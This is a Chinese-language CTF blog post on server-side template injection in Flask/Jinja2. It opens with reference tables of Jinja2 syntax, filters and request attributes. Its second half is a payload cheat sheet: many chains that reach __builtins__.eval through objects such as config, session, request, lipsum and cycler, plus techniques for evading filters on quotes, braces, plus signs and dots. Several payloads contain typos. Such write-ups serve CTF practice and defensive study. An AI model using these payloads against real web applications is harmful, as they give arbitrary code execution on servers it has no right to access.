image-20210330232901184

刚搞定了3月的DASCTF,浑身难受啊(指服务器卡炸)。无论如何 ,NGF。

ctf中SSTI的利用总结(Flask)0x01


0x01 前言

​ 首先,Flask是一个使用python编写的轻量级Web应用框架。它是一个目前较为流行的框架,其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2,拥有内置服务器和单元测试,适配RESTful,支持安全的Cookies,拥有完整的官方文档,学习也很方便。

​ SSTI也就是服务器端模板注入攻击(Server-Side Template Injection),和SQL注入差不多,也是由于没有安全地处理用户输入造成的安全问题。简单来说,其实质是服务端接收了用户的输入,但没有进行严格的过滤就将用户的输入直接带入了编译渲染过程。这样在这个过程中如若用户输入的内容存在一些恶意代码,就有可能会被执行。

0x02 前置知识

​ 既然说到这个玩意是用Jinjia2的模板引擎,那么不妨简单来了解一下有关和SSTI有关的一些前置知识。

- 语法 -

​ 在Jinja2中,存在三种语法:

  • 控制结构

    {% %}
  • 变量取值

    {{}}
  • 注释

    {# #}

其中,各个部分如下。

- 控制结构 -

引入模板

PHPinclude 差不多一个意思,相当于将所引入的文件的内容替换到引入结构的那一行上:

{% include 'static/pages/header.html' %}

遍历遍历

在jinja中是不存在 while 这种说法,但可以用 for 来对 字典 以及 列表 进行遍历:

{% for key, value in userData.items() %}
	{% print(key + " -> " + value) %}
{% endfor %}

在一个循环遍历的块中,可以访问一些特殊的变量:

Variable Description
loop.index 当前循环的迭代。(1索引)
loop.index0 当前循环的迭代。(0索引)
loop.revindex 从循环结束开始的迭代次数。(索引的1次)
loop.revindex0 从循环结束开始的迭代次数。(0索引)
loop.first 如果是第一次迭代则返回真。
loop.last 如果是最后一次迭代则返回真。
loop.length 序列中项目的数量。
loop.cycle 在序列列表之间循环的辅助函数。
loop.depth 指示当前呈现在递归循环中的深度。
loop.depth0 指示当前呈现在递归循环中的深度。从0级开始。
loop.previtem 来自前一次循环迭代的项。在第一次迭代中未定义。
loop.nextitem 循环的后续迭代中的项。在最后一次迭代中未定义。
loop.changed(*val) 如果之前用不同的值调用(或者根本不调用),则返回True。

条件判断

这个和 python 的条件几乎一模一样:

{% if 1+1 == 2 %}
	{% print("ok") %}
{% elif 1+2 == 1 %}
	{% print("no") %}
{% else %}
	{% print("??") %}
{% endif %}

也就是用户自定义的一个网页的模板结构啥的,一般来说,宏都会单独的放在一个文件中,然后再使用以下语法进行调用:

{% from "宏文件路径" import 宏名称 [as 别名] %}

简单的举个例子,例如在 user.html 文件中拥有以下内容:

{% macro input(name,type = "text",value = "") %}
	<input type="{{type}}" name="{{name}}" value="{{value}}" >
{%  endmacro %}

那么我只需要在实际开发中的 login.html 做如下调用即可很方便的构造一个登录表单:

{% from "user.html" import macro as user %}
<form action="/login" method="post">
{{user("userName")}}
{{user("userPass","password")}}
<input type="submit" value="login" >
</form>

继承

也就是可以创建一个基本的骨架文件,然后让其他文件从该骨架文件集成,再针对自己需要的地方进行修改。例如新建一个名为 base.html 的骨架文件:

<head>
	{% block head %}
		<title>{% block title %}{% endblock %}</title>
	{% endblock %}
</head>

然后在其他文件中进行继承(比如这里我修改 title,然后其他原封不动):

{% extend "base.html" %}
{% block title %}DogZii{% endblock %}
{% block head %}{{ super() }}{% endblock %}

set

可以在模板中定义变量,比如:

{% set user="dq" %}
{% set num=520928 %}
{% set userData=[num,user]} %}
{% for each in userData %}
	<p> {{each}} </p>
{% endfor %}

即是 {% set [变量名] = [值] %},使用 set 定义的变量相当于python中的 全局变量,在后面都可以使用。

with

可以定义仅能在 with语句块 中使用的变量,一旦超过了这个块就不能使用,比如:

{% with user="dq" %}
	<p>{{user}}</p>
{% endwith %}

​ 当然,也可以在 with语句块 中使用 set 来定义变量,在 with语句块 中定义的变量是拥有变量作用域的,也就是仅能在 with语句块 中使用:

{% with %}
	{% set user="dq" %}
		<p>{{user}}</p>
{% endwith %}

​ 等等。。。

- 变量取值 -

​ 简单说来就是:

{{5*7}} -> 35
{{1}} -> 1
{%set a='ok'%}{{a}} -> 'ok'

还有,就是在Jinja2中,对形如 foo.barfoo['bar'] 解析方式和 python 不同。这两种解析方式基本是是一样的。

Implementation

For the sake of convenience, foo.bar in Jinja does the following things on the Python layer:

  • check for an attribute called bar on foo (getattr(foo, 'bar'))
  • if there is not, check for an item 'bar' in foo (foo.__getitem__('bar'))
  • if there is not, return an undefined object.

foo['bar'] works mostly the same with a small difference in sequence:

  • check for an item 'bar' in foo. (foo.__getitem__('bar'))
  • if there is not, check for an attribute called bar on foo. (getattr(foo, 'bar'))
  • if there is not, return an undefined object.

This is important if an object has an item and attribute with the same name. Additionally, the attr() filter only looks up attributes.

简单来说呢,就是在 Jinja2 中,foo.barfoo['bar'] ,或是 ''.__class__''['__class__'] 最终实现的是一样的。

- 注释 -

​ 注释的内容不会包括在模板的输出里边。

- 过滤器 -

- 内建过滤器 -

​ 不得不说,Jinja2的过滤器还真有不少呢。以下是一些内建的过滤器。

abs(x, /) 返回参数的绝对值.
attr(obj, name) 获取一个类的属性。`foo
batch(value, linecount, fill_with=None) 用于批处理项目的过滤器。它的工作原理和切片差不多,只是反过来而已。它返回一个包含给定数量的列表的列表。如果提供第二个参数,则该参数将用于填充缺少的项。
capitalize(s) 将值的首字母变为大写。
center(value, width=80) 将值在给定宽度中居中。
default(d)(value, default_value=’’, boolean=False) 如果该值未被定义,则输出默认设置的值。如果想在该值为false时输出默认设置的值时,得将第二个参数设置为True。
dictsort(value, case_sensitive=False, by=’key’, reverse=False) 对字典进行排序并生成(键、值)对。因为python字典是未排序的,你可使用这个函数来按键或值排序。
escape(e)(s) 将值转换为安全的HTML字符。
filesizeformat(value, binary=False) 将值格式化为“可读的”文件大小(例如13 kB, 4.1 MB, 102字节等)。使用默认的十进制前缀(Mega, Giga等),如果第二个参数设置为True,则使用二进制前缀(Mebi, Gibi)。
first(seq) 返回第一项。
float(value, default=0.0) 将该值转换为浮点数。如果转换不起作用,它将返回0.0。可以使用第一个参数覆盖这个默认值。
forceescape(value) 执行HTML转义。
format(value, *args, **kwargs) 将给定的值应用形如 ”printf“ 形式的格式化。
groupby(value, attribute) 使用Python的itertools.groupby()按属性将一系列对象分组。该属性可以使用点表示法进行嵌套访问,如“address.city”。与Python的groupby不同,这些值是先排序的,因此对于每个惟一的值只返回一个组。groupby会产生(grouper, list)的命名元组,可以用它来代替解包的元组。grouper是属性的值,list是具有该值的项。
indent(s, width=4, first=False, blank=False) 返回该值的复制,每行缩进4个空格。默认情况下,第一行和空行不缩进。
int(value, default=0, base=10) 将值转换为整数。如果转换不起作用,它将返回0。可以使用第一个参数覆盖这个默认值。还可以在第二个参数中覆盖默认基数(10),该参数处理分别为基数2、8和16使用0b、0o和0x等前缀的输入。小数和非字符串值的基数将被忽略。
join(value, d=’’, attribute=None) 返回一个字符串,它是序列中字符串的拼接。元素之间的分隔符默认为空字符串,可以用可选参数定义它。同时也可以连接对象的某些属性。
last(seq) 返回序列的最后一项,需要尽可能的对显式列表使用。
length(count)(obj, /) 返回容器中的项数。
list(value) 将值转换为列表。如果它是一个字符串,则返回的列表将是一个字符列表。
lower(s) 将值转换为小写。
map(*args, **kwargs) 对对象序列应用筛选器或查找属性。这在处理对象列表时很有用,但在实际应用上只对它的某个值感兴趣,基本用法是映射到属性上。如果列表中的对象没有给定的属性,可以指定要使用的默认值(attribute=,default=)。或者,您也可以通过传递过滤器的名称和参数来让它调用过滤器。
max(value, case_sensitive=False, attribute=None) 返回序列中最大的项。
min(value, case_sensitive=False, attribute=None) 返回序列中最小的项。
pprint(value) 漂亮的打印一个变量。用于调试。
random(seq) 从序列中返回一个随机项。
reject(*args, **kwargs) 通过对每个对象应用测试来筛选对象序列,并在测试成功后拒绝对象。
rejectattr(*args, **kwargs) 通过对每个对象的指定属性应用测试来筛选对象序列,并在测试成功后拒绝对象。
replace(s, old, new, count=None) 返回该值的复制,并将所有出现的子字符串替换为新的子字符串。第一个参数是应该被替换的子字符串,第二个参数是替换字符串。如果给出了第三个可选参数,则只会替换指定次数。
reverse(value) 反转对象或返回一个迭代器,该迭代器以相反的方式遍历对象。
round(value, precision=0, method=’common’) 把这个数字四舍五入到一定的精度。第一个参数指定精度(默认为0),第二个参数指定舍入方法(common,ceil,floor)
safe(value) 将该值标记为safe,这意味着在启用自动转义的环境中,该变量将不会被转义。
select(*args, **kwargs) 通过对每个对象应用测试来筛选对象序列,并且只选择测试成功的对象。如果没有指定测试,则每个对象将被计算为一个布尔值。
selectattr(*args, **kwargs) 通过对每个对象的指定属性应用测试来筛选对象序列,并且只选择测试成功的对象。如果没有指定测试,则属性的值将被计算为布尔值。
slice(value, slices, fill_with=None) 对迭代器进行切片,并返回包含这些项的列表列表。如果将第二个参数传递给它,它将用于在最后一次迭代中填充缺失的值。
sort(value, reverse=False, case_sensitive=False, attribute=None) 使用Python的sorted()对可迭代对象进行排序(reverse,case_sensitive,attribute)。排序是稳定的,它不会改变比较相等的元素的相对顺序。这使得可以根据不同的属性和顺序连锁排序。
string(object) 转换为字符串输出。
striptags(value) 删除SGML/XML标记,用一个空格替换相邻的空格。
sum(iterable, attribute=None, start=0) 返回一个数字序列加上参数’ start ‘的值(默认为0)的和。当序列为空时,它返回start。也可以只求某些属性的和。
title(s) 返回一个标题版本的值。即单词将以大写字母开头,其余字符均为小写。
tojson(value, indent=None) 将对象序列化为JSON字符串,并将其标记为可以安全地用HTML呈现。此筛选器仅用于HTML文档。返回的字符串可以安全地呈现在HTML文档和<script>标记中。例外情况出现在双引号的HTML属性中;可以使用单引号或
trim(value, chars=None) 去除开头和结尾字符,默认为空格。
truncate(s, length=255, killwords=False, end=’…’, leeway=None) 返回被截断的字符串的复制。长度由第一个参数指定,默认为255。如果第二个参数为真,过滤器将最终删除文本。否则将丢弃最后一个单词。如果文本实际上被截断,它将附加一个省略号(“…”)。如果你想要一个不同于”…”的省略号您可以使用第三个参数指定它。仅超出第四个参数中给出的公差范围的字符串将不会被截断。
unique(value, case_sensitive=False, attribute=None) 返回给定可迭代对象中唯一项的列表。
upper(s) 将值转换为大写。
urlencode(value) 使用UTF8进行查询编码,在传入字符串时使用urllib.parse.quote(),传入字典或迭代器时使用urilib.parse.urlencode()。
urlize(value, trim_url_limit=None, nofollow=False, target=None, rel=None, extra_schemes=None) 将文本中的url转换为可点击的链接。在某些情况下,这可能无法识别链接。
wordcount(s) 数一数字符串中的单词。
wordwrap(s, width=79, break_long_words=True, wrapstring=None, break_on_hyphens=True) 将字符串包装为给定的宽度。现有的换行符被视为单独包装的段落。
xmlattr(d, autospace=True) 基于字典中的条目创建一个SGML/XML属性字符串。

- 内建测试过滤器 -

​ 然后是一些内建的测试过滤器。

boolean(value) 如果对象是布尔值则返回true。
callable(obj, /) 返回对象是否可调用(例如,某种函数)。
defined(value) 如果定义了变量则返回true。
divisibleby(value, num) 检查一个变量是否能被一个数整除。
eq(a, b, /) 相当于 a == b
escaped(value) 检查值是否被转义。
even(value) 如果变量是偶数则返回true。
false(value) 如果对象为False则返回true。
float(value) 如果对象是浮点数则返回true。
ge(a, b, /) 相当于 a>= b
gt(a, b, /) 相当于 a > b
in(value, seq) 检查value是否在seq中。
integer(value) 如果对象是整数则返回true。
iterable(value) 检查是否可以在对象上迭代。
le(a, b, /) 相当于 a <= b
lower(value) 如果变量小写则返回true。
lt(a, b, /) 相当于 a < b
mapping(value) 如果对象是映射(dict等)则返回true。
ne(a, b, /) 相当于 a != b
none(value) 如果变量为none则返回true。
number(value) 如果变量是数字则返回true。
odd(value) 如果变量为奇数则返回true。
sameas(value, other) 检查一个对象是否与另一个对象指向相同的内存地址:
sequence(value) 如果变量是序列则返回true。序列是可迭代的变量。
string(value) 如果对象是字符串则返回true。
true(value) 如果对象为真则返回真。
undefined(value) 与defined()类似,但反过来。
upper(value) 如果变量是大写的则返回true。

- 全局函数 -

  • range([start, ]stop[, step])

    返回一个包含整数的算术级数的列表。 range(i,j)返回[i,i + 1,i + 2,…,j-1]; start(!)默认为0。给定step时,它指定增量(或减量)。例如,range(4)和range(0,4,1)返回[0,1,2,3]。终点省略了!这些正是4个元素列表的有效索引。

  • lipsum(n=5, html=True, min=20, max=100)

    为模板生成一些lorem ipsum。默认情况下,生成5段HTML,每个段落的字数在20到100字之间。如果html为False,则返回常规文本。这对于生成用于布局测试的简单内容非常有用。

  • dict(**items)

    字典文字的便捷替代方法。 {‘foo’:’bar’}与dict(foo =’bar’)相同。

  • `cycler(*items)

    通过一次生成一个值来循环遍历这些值,然后在到达终点后重新启动。

    • current()

      返回当前项目。相当于下次调用next()时将返回的项。

    • next()

      返回当前项,然后将当前项前进到下一项。

    • reset()

      将当前项重置为第一项。

  • joiner(sep=’, )

    一个小助手,可以用来“连接”多个部分。joiner被传递一个字符串,并且每次调用它时都会返回该字符串,除了第一次(在这种情况下,它返回一个空字符串)。

  • namespace()

    创建允许使用{ % set % }标记分配属性的新容器。这样做的主要目的是允许将值从循环体内部传递到外部范围。初始值可以作为dict、关键字参数或两者都提供(与Python的dict构造函数的行为相同)。

-常用方法 -

Attribute Meaning
__doc__ 函数的文档字符串,如果不可用则为’ None ‘;不被子类继承。
__name__ 函数的名字。
__qualname__ 函数的 限定名称 3.3的新版功能。
__module__ The name of the module the function was defined in, or None if unavailable.
__defaults__ 函数定义的模块名,如果不可用则为’ None ‘。
__code__ 表示已编译函数体的代码对象。
__globals__ 一个对保存函数全局变量的字典的引用——定义函数的模块的全局命名空间。
__dict__ 支持任意函数属性的命名空间。
__closure__ ‘ None ‘或包含函数自由变量绑定的单元格元组。
__annotations__ 包含参数注释的字典。dict的键是参数名,如果提供了return注释,则是” return’ ‘。
__kwdefaults__ 包含仅关键字参数的默认值的字典。
__class__ 获取实例化对象的原类。
__base__ 获取该对象的基类(不一定能得到object)。
__mro__ 获取类的调用顺序。

- 常用传参 -

request.accept_charsets 此客户端支持的CharsetAccept对象的字符集列表。
request.accept_encodings 此客户端接受的编码列表。HTTP术语中的编码是压缩编码,比如gzip。
request.accept_languages 此客户端作为LanguageAccept对象接受的语言列表。
request.accept_mimtypes 这个客户端作为MIMEAccept对象支持的mimetype列表。
request.accept_routes 如果存在转发的报头,这是从客户端ip到最后一个代理服务器的所有ip地址列表。
request.application 将函数修饰为响应器,它接受请求作为最后一个参数。这与responder()装饰器类似,但函数将请求对象作为最后一个参数传递,请求对象将自动关闭。
request.args 解析后的URL参数(URL中问号后面的部分)。
request.authorization 已解析形式的授权对象。
request.base_url 类似url,但没有查询字符串。
request.blueprint 当前蓝图的名称。
request.cache_control 一个RequestCacheControl对象,用于传入的缓存控制标头。
request.close 关闭此请求对象的关联资源。这将显式关闭所有的文件句柄。您还可以在with语句中使用请求对象,该语句将自动关闭请求对象。
request.content_encoding Content-Encoding entity-header字段用作媒体类型的修饰符。当它出现时,它的值指示已经向实体应用了哪些额外的内容编码,以及必须应用哪些解码机制才能获得content -type报头字段引用的媒体类型。
request.content_length 以字节为单位表示实体的大小,或者,对于HEAD方法,表示如果请求是GET,将发送的实体的大小。
request.content_md5 实体的MD5摘要,用于提供实体的端到端消息完整性检查(MIC)。(注意:MIC可以很好地检测传输中实体的意外修改,但不能防止恶意攻击。)
request.content_type 指示发送给接收者的实体的媒体类型,或者,对于HEAD方法,如果请求是GET,则发送的媒体类型。
request.cookies 一个字典,包含与请求一起传输的所有cookie的内容。
request.data 包含传入的请求数据作为字符串,以防它带有一个mimetype Werkzeug不能处理。
request.date 表示消息产生的日期和时间,与RFC 822中的origi - Date具有相同的语义。
request.dict_storage_class werkzeug.datastructures.ImmutableMultiDict的别名。
request.endpoint 与请求匹配的端点。这与视图args相结合,可以用来重建相同的或修改过的URL。如果匹配时发生异常,则此值为None。
request.environ 底层WSGI环境。
request.files 包含所有上载文件的MultiDict对象。只有当请求方法是POST、PUT或PATCH,并且发布到请求的<form>具有enctype=“multipart/form data”时,文件才会包含数据。否则它将是空的。
request.form 来自POST的数据。
request.full_path 请求的路径为转换成unicode,包括查询字符串。
request.get_json 将数据解析为JSON。
request.headers 请求头内容。
request.host 只有主机包括端口(如果可用)。
request.json 如果mimetype指示JSON,则解析的JSON数据。
request.method 请求方法。
request.mimetype 与content_type类似,但没有参数(例如,没有字符集、类型等),并且总是小写。例如,如果内容类型是text/HTML;charset=utf-8,则mimetype将是“text/HTML”。
request.mimetype_params mimetype参数为dict。例如,如果内容类型为text/html;charset=utf-8,则参数为{charset’:’utf-8’}。
request.origin 发起请求的主机。
request.path 访问路径,始终包含一个前导斜杠,即使URL根。
request.query_string 从url的请求的参数。
request.referrer 来源地址。
request.remote_addr 客户端IP。
request.remote_user 如果服务器支持用户身份验证,并且脚本受保护,则此属性包含用户身份验证的用户名。
request.scheme url的头部。
request.stream 如果传入的表单数据不是用已知的mimetype编码的,那么数据将不加修改地存储在这个流中以供使用。大多数情况下,最好使用将数据作为字符串提供给您的数据。流只返回一次数据。
request.url 当前url。
request.url_charset 为url假定的字符集。
request.url_root 完整的URL根目录(带有主机名)。
request.user_agent 当前用户代理。
request.values 结合了args和form。

0x03 SSTI实战

​ 那么这里就以 Flask 为例,简单来说,SSTI 的最终目的是能够逃逸出 Jinja2的沙盒,然后执行任意的python代码。如果能够获取到 builitins 也就能得到了 python 的内建对象,也就可以调用 python 的任意内建函数了(比如 evalexec 等)。

​ 这里不妨对一些老 payload 做一个简单分析。

- 分析 -

​ 比如以下的 payload

"".__class__.__mro__[-1].__subclasses__()[80].__init__.__globals__.__builtins__.eval

​ 或者:

[].__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.eval

​ 这里需要做一个非常简单的解释:

  • __class__ :获取该实例化对象的原类。

  • __mro__:获取类的调用顺序。

  • __base__:获取当前类的基类,有时会是 object 有时不是,最好用 __mro__

  • __subclasses__():获取当前类的所有子类。

  • __init__:类的一个方法。

  • __globals__:获取这个函数的全局变量字典。

  • __builtins__:内建对象。

    那么依次来观察整个过程吧。

    **[]._class_**:

    显然,这个是获取 []原类了,这里得到了 <class 'list'>

    image-20210330111111171

    **[]._class_.__mro__**:

    这个是获取 <class 'list'> 的调用顺序。从下图可以看出,<class 'list'> 的顺序为 class 'object'> -> <class 'list'>

    image-20210330111159203

    那么,[].__class__.__mro__[-1] 实际上也就取到了基类 <class 'list'>

    **[]._class_.__base__**:

    这个和 [].__class__.__mro__[-1] 同一个效果,即是取到基类 <class 'object'>

    image-20210330111830505

    **[]._class__.__mro__[-1].__subclasses_()**:

    当取到了基类 <class 'object'> 就可以使用 __subclasses__() 去获取这个基类的子类了:

    image-20210330111946595

    可以发现,基类 <class 'object'> 的子类是非常多的,因为 python 的所有的类都是基类的子类。

    []._class__.__mro__[-1].__subclasses_()[80]

    然后再取这些子类列表索引为 80 的子类:

    image-20210330112115278

    到这里似乎还很难看出什么。

    **[]._class__.__mro__[-1].__subclasses__()[80].__init_**:

    这实际上是调用了 <class '_frozen_importlib._ModuleLock'>__init__ 方法,那么可以简单的看一下这个 <class '_frozen_importlib._ModuleLock'> 的方法字典 [].__class__.__mro__[-1].__subclasses__()[80].__dict__

    image-20210330112237624

    显然, __init__ 方法得到的是一个函数的值:

    image-20210330112426055

**[]._class__.__mro__[-1].__subclasses__()[80].__init__.__globals_**:

这个是获取了 <function _ModuleLock.__init__ at 0x0000011836536C10> 的全局变量字典,可以看看都有啥:

image-20210330112652832

不难看出 __builtins__ 是存在这个全局字典中的。

**[]._class__.__mro__[-1].__subclasses__()[80].__init__.__globals__.__builtins_**:

此时就可以取到 __builtins__ 的内置对象了:

image-20210330112911137

[].__class__.__mro__[-1].__subclasses__()[80].__init__.__globals__.__builtins__.eval

这个就比较好理解了,直接从 __builtins__ 的内置对象中取内置的 eval 函数:

image-20210330113056623

此时就可以执行任意代码了。

那么总的来说也就是要获取 __builtins__ 的内置对象,而要获取 __builtins__ 内置对象一般就需要从 __globals__获取,其中 __globals__ 则来自 函数 。只要能够获取一个 函数 就可以逃逸了。

- 一些RCE的payload -

- config -

config # 获取配置
config.__init__.__globals__.__builtins__.eval # rce
config.from_envvar.__globals__.__builtins__.eval # rce
config.from_pyfile.__globals__.__builtins__.eval # rce
config.from_object.__globals__.__builtins__.eval # rce
config.from_json.__globals__.__builtins__.eval # rce
config.from_mapping.__globals__.__builtins__.eval # rce
config.get_namespace.__globals__.__builtins__.eval # rce
config.__repr__.__globals__.__builtins__.eval # rce

- session -

session.on_update.__globals__.__builtins__.eval # rce
session.pop.__globals__.__builtins__.eval # rce
session.clear.__globals__.__builtins__.eval # rce
session.update.__globals__.__builtins__.eval # rce
session.popitem.__globals__.__builtins__.eval # rce
session.setdefault.__globals__.__builtins__.eval # rce
session.__init__.__globals__.__builtins__.eval # rce
session.__setitem__.__globals__.__builtins__.eval # rce
session.__delitem__.__globals__.__builtins__.eval # rce
session.popitem.__globals__.__builtins__.eval # rce
session.__repr__.__globals__.__builtins__.eval # rce

- request -

request._load_form_data.__globals__.builtins__.eval # rce
request.__init__.__globals__.builtins__.eval # rce
request.environ.['werkzeug.server.shutdown'].__globals__.builtins__.eval # rce
request.__repr__.__globals__.__builtins__.eval # rce
request.args.__copy__.__globals__.__builtins__.eval # rce
request.form.__copy__.__globals__.__builtins__.eval # rce
request.cookie.__add__.__globals__.__builtins__.eval # rce(有一大堆噢,就不列出来了)
# 等等

- self -

self.__init__.__globals__.builtins__.eval # rce
self.__getitem__.__globals__.builtins__.eval # rce
self.__repr__.__globals__.builtins__.eval # rce
self._TemplateReference__context.lipsum.__globals__.builtins__.eval # rce
self._TemplateReference__context.get_flashed_messages.__globals__.builtins__.eval # rce
self._TemplateReference__context.url_for.__globals__.builtins__.eval # rce
self._TemplateReference__context ## 这玩意所有全局的玩意都能拿到
# 等等

- url_for -

url_for.__globals__.__builtins__.eval # rce

- lipsum -

lipsum.__globals__.__builtins__.eval # rce

- cycler -

cycler.__init__.__globals__.__builtins__.eval # rce
cycler.reset.__globals__.__builtins__.eval # rce
cycler.current.__globals__.__builtins__.eval # rce
cycler.next.__globals__.__builtins__.eval # rce
cycler.__next__.__globals__.__builtins__.eval # rce

- joiner -

joiner.__init__.__globals__.__builtins__.eval # rce
joiner.__call__.__globals__.__builtins__.eval # rce

- g -

g.__class__.get.__globals__.__builtins__.eval # rce
g.__class__.pop.__globals__.__builtins__.eval # rce
g.__class__.setdefault.__globals__.__builtins__.eval # rce
g.__class__.__contains__.__globals__.__builtins__.eval # rce
g.__class__.__iter__.__globals__.__builtins__.eval # rce
g.__class____repr__.__globals__.__builtins__.eval # rce

- namespace -

namespace.__init__.__globals__.__builtins__.eval # rce
namespace.__getattribute__.__globals__.__builtins__.eval # rce
namespace.__setitem__.__globals__.__builtins__.eval # rce
namespace.__repr__.__globals__.__builtins__.eval # rce

- get_flashed_messages -

get_flashed_messages.__globals__.__builtins__.eval # rce

- undefined -

morouu.__class__.__init__.__globals__.__builtins__.eval # rce
morouu.__class__._fail_with_undefined_error.__globals__.__builtins__.eval # rce
morouu.__class__.__getattr__.__globals__.__builtins__.eval # rce
morouu.__class__.__ne__.__globals__.__builtins__.eval # rce(还是有一大堆)
# 等等

- 个人搜集的一些原始payload -

- python2 -

# 获取__builtins__
## {}型
{}.__class__.__subclasses__()[1].keys.__globals__.__builtins__
{}.__class__.__subclasses__()[1].pop.__globals__.__builtins__
{}.__class__.__subclasses__()[1].viewkeys.__globals__.__builtins__
{}.__class__.__subclasses__()[1].copy.__globals__.__builtins__
{}.__class__.__subclasses__()[1].viewitems.__globals__.__builtins__
{}.__class__.__subclasses__()[1].setdefault.__globals__.__builtins__
{}.__class__.__subclasses__()[1].viewvalues.__globals__.__builtins__
{}.__class__.__subclasses__()[1].items.__globals__.__builtins__
{}.__class__.__subclasses__()[1].values.__globals__.__builtins__
{}.__class__.__subclasses__()[1].iterkeys.__globals__.__builtins__
{}.__class__.__subclasses__()[1].itervalues.__globals__.__builtins__
{}.__class__.__subclasses__()[2].subtract.__globals__.__builtins__
{}.__class__.__subclasses__()[2].elements.__globals__.__builtins__
{}.__class__.__subclasses__()[2].copy.__globals__.__builtins__
{}.__class__.__subclasses__()[2].fromkeys.__globals__.__builtins__
{}.__class__.__subclasses__()[4].get.__globals__.__builtins__
{}.__class__.__subclasses__()[5].copy.__globals__.__builtins__
dict.__subclasses__()[?].??? #这个和上边的一样
## ''/""型
# 无!
## 整数型
# 无!
## []型
[].__class__.__subclasses__()[0].__repr__.__globals__.__builtins__ # 被迫带下划线
# 获取config
self._TemplateReference__context.config
# 获取request
self._TemplateReference__context.request
## 剩下的就靠老式的payload了。

- python3 -

# 获取__builtins__
## {}型
{}.__class__.__subclasses__()[2].update.__globals__.__builtins__
{}.__class__.__subclasses__()[2].elements.__globals__.__builtins__
{}.__class__.__subclasses__()[2].subtract.__globals__.__builtins__
{}.__class__.__subclasses__()[2].copy.__globals__.__builtins__
{}.__class__.__subclasses__()[2].fromkeys.__globals__.__builtins__
{}.__class__.__subclasses__()[6].get.__globals__.__builtins__
{}.__class__.__subclasses__()[7].copy.__globals__.__builtins__
{}.__class__.__subclasses__()[6].get.__globals__.__builtins__
dict.__subclasses__()[?].??? #这个和上边的一样
## ''/""型
''.__class__.__subclasses__()[0].join.__globals__.__builtins__
''.__class__.__subclasses__()[0].rsplit.__globals__.__builtins__
''.__class__.__subclasses__()[0].splitlines.__globals__.__builtins__
''.__class__.__subclasses__()[0].unescape.__globals__.__builtins__
''.__class__.__subclasses__()[0].striptags.__globals__.__builtins__
''.__class__.__subclasses__()[0].capitalize.__globals__.__builtins__
''.__class__.__subclasses__()[0].title.__globals__.__builtins__
''.__class__.__subclasses__()[0].lower.__globals__.__builtins__
''.__class__.__subclasses__()[0].upper.__globals__.__builtins__
''.__class__.__subclasses__()[0].ljust.__globals__.__builtins__
''.__class__.__subclasses__()[0].replace.__globals__.__builtins__
''.__class__.__subclasses__()[0].lstrip.__globals__.__builtins__
''.__class__.__subclasses__()[0].rstrip.__globals__.__builtins__
''.__class__.__subclasses__()[0].center.__globals__.__builtins__
''.__class__.__subclasses__()[0].strip.__globals__.__builtins__
''.__class__.__subclasses__()[0].translate.__globals__.__builtins__
''.__class__.__subclasses__()[0].expandtabs.__globals__.__builtins__
''.__class__.__subclasses__()[0].swapcase.__globals__.__builtins__
''.__class__.__subclasses__()[0].zfill.__globals__.__builtins__
''.__class__.__subclasses__()[0].partition.__globals__.__builtins__
''.__class__.__subclasses__()[0].rpartition.__globals__.__builtins__
''.__class__.__subclasses__()[0].format.__globals__.__builtins__
## 整数型
0.__class__.__subclasses__()[-1].Close.__globals__.__builtins__
## []型
[].__class__.__subclasses__()[1].format.__globals__.__builtins__
[].__class__.__subclasses__()[2].push.__globals__.__builtins__
[].__class__.__subclasses__()[2].pop.__globals__.__builtins__
[].__class__.__subclasses__()[2].reset.__globals__.__builtins__
# 获取config
self._TemplateReference__context.config
# 获取request
self._TemplateReference__context.request
## 其他的老式payload没必要记了啦(又臭又长 ╮(╯▽╰)╭

- 属性获取 -

''.__class__
''['__class__']
''|attr('__class__')
''.__getattribute__('__class__')

- 字符拼接 -

'm'+'o'
'm'~'o'
('m','o')|join
['m','o']|join
{'m':a,'o':a}|join
dict(m=a,o=a)|join

- 获取数字 -

{}|int # 0
(not{})|int # 1
((not{})|int+(not{})|int) # 2
((not{})|int+(not{})|int)**((not{})|int+(not{})|int) # 4
((not{})|int,(not{})|int)|sum # 2
# ......
((not{})|int,{}|int)|join|int # 10
(-(not{})|int,{}|int)|join|int # -10
'aaxaaa'.index('x') # 2
((),())|count/length # 2
((),())|length # 2

在python3中也可以用一些 unicode 字符来获取数字,比如以下是 0~9 的表示

  • ٠١٢٣٤٥٦٧٨٩

  • ```
    𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫

    
    - ```
      𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡
  • ```
    𝟬𝟭𝟮𝟯𝟰𝟱𝟲𝟳𝟴𝟵

    
    - ```
      𝟶𝟷𝟸𝟹𝟺𝟻𝟼𝟽𝟾

- 获取字符 -

morouu|select|string -> 无himpquvwz
dict(morouu=a)|join
morouu.__doc__
config/session/request ... |string
'%c'%(97) -> a
(morouu|select|string|urlencode|list|first~dict(c=a)|join)|format(97) -> a
request.args.morouu&morouu=[Any] # 这个还可从其他方式传入参数

- 单一过滤 -

- 引号 -

# --- 字符 ---
# 第一种
{%set t=lipsum.__globals__.__builtins__ %}
{{t.eval(t.chr(xx)+t.chr(xx)+t.chr(xx)+t.chr(xx)+t.chr(xx))}}

# 第二种
{{lipsum.__globals__.__builtins__.eval(request.args.a)}}&a=xx

# 第三种
{%set ch=(morouu|select|string|urlencode|list|first~dict(c=a)|join)%}
{{lipsum.__globals__.__builtins__.eval(ch|format(nn)+ch|format(nn)+ch|format(nn)+ch|format(nn))}}

# 第四种
{%set _=dict(_=a)|join%} -> 任意变量名
{%set c=dict(c=a)|join%} -> 任意变量名
# ...
{%set left=(morouu|attr(dict(__doc__=a)|join)|list)[171]%} -> 左括号(
{%set right=(morouu|attr(dict(__doc__=a)|join)|list)[182]%} -> 右括号 )
{%set dy=(morouu|attr(dict(__doc__=a)|join)|list)[177]%} -> 单引号 '
{%set lx=(config.APPLICATION_ROOT|list)[0]%} -> 左斜杠 /
{%set dd=(morouu.__doc__|list)[26]%} ->.
{%set dh=(morouu.__doc__|list)[85]%} -> 逗号 .
{{lipsum.__globals__builtins__.eval(xx)}}

# ...... 总之各种拼接就好了

- -

# 使用 {% %} 结构即可
{%print(lipsum.__globals__.__builtins__.eval(xxx))%} 

- + -

# 可以使用以下方式进行字符拼接
# 第一种
'a'~'b'

# 第二种
['a','b']|join
('a','b')|join
{'a':a,'b':a}|join

# 第三种
dict(a=a,b=b)|join

- . -

# 也就是无法进行属性获取
# 第一种
[]|attr('__class__')

